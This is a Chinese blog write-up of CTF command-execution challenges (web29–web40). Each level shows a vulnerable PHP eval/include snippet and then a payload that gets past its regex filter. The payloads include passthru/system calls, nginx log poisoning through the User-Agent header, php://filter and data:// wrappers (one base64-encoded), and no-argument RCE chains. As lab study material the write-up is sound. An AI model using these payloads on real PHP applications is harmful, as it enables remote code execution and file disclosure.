首页 > 其他分享 >ctf命令执行刷题

ctf命令执行刷题

时间:2023-01-10 12:45:09浏览次数:35  
标签:__ GET flag system 命令 ctf php payload 刷题

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 

 

题目简单过滤了flag,所以我们使用通配符即可。

payload:?c=system(tac fla*.php);

 

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目对于system和php进行了过滤,所以第一题的payload就不可以用了。

解法一:我们可以用和system函数一样可以执行外部命令的函数例如passthru来绕过,然后继续使用通配符。

这里介绍了几种和system类似的函数:https://www.php.cn/php-weizijiaocheng-298828.html

payload:?c=passthru("tac fla?.???");

payload;?c=?c=echo `tac fla?.???`;

解法二:构造新的变量

payload:?c=eval($_GET[1]);&1=system("tac flag.php");

web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

解法一:

# 用tac绕过对cat的过滤
# 用%09绕过对空格的过滤
?c=echo`tac%09fl*`;

解法二:
# 用passthru绕过system的过滤
# tac饶过cat的过滤
?c=passthru("tac%09f*");

解法三:?c=eval($_GET[a]);&a=system('tac flag.php');

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这次比上次多过滤了echo,括号,分号,反引号。

所以上面的payload都不能用

看了一个大佬wp的关于这道题:

假如我们不知道flag在哪,那么我们可以通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log 结合这里的include,构造如下语句?c=include$_GET[a]?>&a=../../../var/log/nginx/access.log,也可以尝试先/etc/passwd,确认的确可以包含。再使用User-Agent为<?php system('ls');?>,访问主页。 再去访问日志,就可以看到当前目录的文件列表了。

 

 

 

 解法二:配合文件包含漏洞

payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 web33

 

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

 

这题又多过滤了双引号,因此上题的payload我们还可以进行使用。

payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这题又多过滤了冒号,我们还可以使用上面的payload。

payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

 

web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

对于数字进行了过滤,所以我们继续使用字母就行了。

payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

include文件包含并且过滤了flag,所以我们使用data://协议

payload:?c=data://text/plain,<?php system('tac fla*');?>

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了php,所以我们使用base64封装数据。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这次文件包含 题目中直接加了后缀所以这次不需要后缀,但是这还可以使用data://伪协议

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:?c=data://text/plain,<?= system("tac fla*");?>

 web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这道题过滤了很多符号,但他只过滤了中文括号,所以我们还是可以使用英文括号

这里我们使用无参数rec,

参考链接:https://blog.csdn.net/weixin_63231007/article/details/124758606

https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E5%89%8D%E8%A8%8

法一

c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next()将内部指针指向数组中的下一个元素,并输出。

array_pop() 函数删除数组中的最后一个元素并返回其值。

法二

c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));

getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."

pos():输出数组第一个元素,不改变指针;

current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录

array_reverse():数组逆置

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

show_source():查看源码

pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。

每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

current()返回数组中的当前元素的值。

end()将内部指针指向数组中的最后一个元素,并输出。

next()将内部指针指向数组中的下一个元素,并输出。

prev()将内部指针指向数组中的上一个元素,并输出。

reset()将内部指针指向数组中的第一个元素,并输出。

each()返回当前元素的键名和键值,并将内部指针向前移动。

 

 

 

 

标签:__,GET,flag,system,命令,ctf,php,payload,刷题
From: https://www.cnblogs.com/kode00/p/17038803.html

相关文章

  • Python在命令行模式下如何退出命令行
    第一种:这种方法最简单,直接输入Ctrl+Z ,再回车,即可退出; 第二种:输入exit(),再回车,也可以; 第三种:输入quit(),再回车,也行; ......
  • curl命令查用操作
    curl-o/dev/null-s-w"http_code:%{http_code}http_connect:%{http_connect}content_type:%{content_type}time_dns:%{time_namelookup}time_redirect:%{time_red......
  • Linux常用命令大全
    系统信息arch显示机器的处理器架构uname-m显示机器的处理器架构uname-r显示正在使用的内核版本dmidecode-q显示硬件系统部件-(SMBIOS/DMI)hdparm-i/de......
  • linux 命令使用6--free(内存)
    一:free命令 free命令显示系统内存的使用情况,包括物理内存、交换内存(swap)和内核缓冲区内存  二:free命令显示的各项参数 第一行Mem部分:total物理内存的......
  • k8s常用命令
    1、查看节点:kubectlgetnodes2、查看所有pod:kubectlgetpods-A,必须加-A,不然有些非默认的ns下的pod,看不到3、进入pod:kubectlexec-itpodName-nnamespace--/bin/s......
  • 使用 sudo 命令时,重定向标准输出的两种方法
    错误的写法:sudocat>/etc/sysctl.d/bbr.conf<<EOFnet.core.default_qdisc=fqnet.ipv4.tcp_congestion_control=bbrEOF此写法看似很合理,但执行的时候会报Permissio......
  • 算法刷题 Day 13 | 239. 滑动窗口最大值 347.前 K 个高频元素
    今日内容:滑动窗口最大值前K个高频元素总结详细布置239.滑动窗口最大值(一刷至少需要理解思路)之前讲的都是栈的应用,这次该是队列的应用了。本题算比较......
  • 入门2年的ctf新手自述--web方向
    为什么想写这篇博客,为什么要要跟大家分享?因为我的确入门费了非常多的时间,有很多坎。首先是自己的精力因为很多事情,确实分散了很多,有创新创业项目、学生工作、学业等等,没有......
  • Kubernetes(k8s) kubectl plugin常用命令
    kubectl在$HOME/.kube目录中查找一个名为config的配置文件。可以通过设置KUBECONFIG环境变量或设置--kubeconfig参数来指定其它kubeconfig文件。本文主要介绍K......
  • 蓝桥杯 刷题统计
    题目描述小明决定从下周一开始努力刷题准备蓝桥杯竞赛。他计划周一至周五每天做a道题目,周六和周日每天做b道题目。请你帮小明计算,按照计划他将在第几天实现做题数......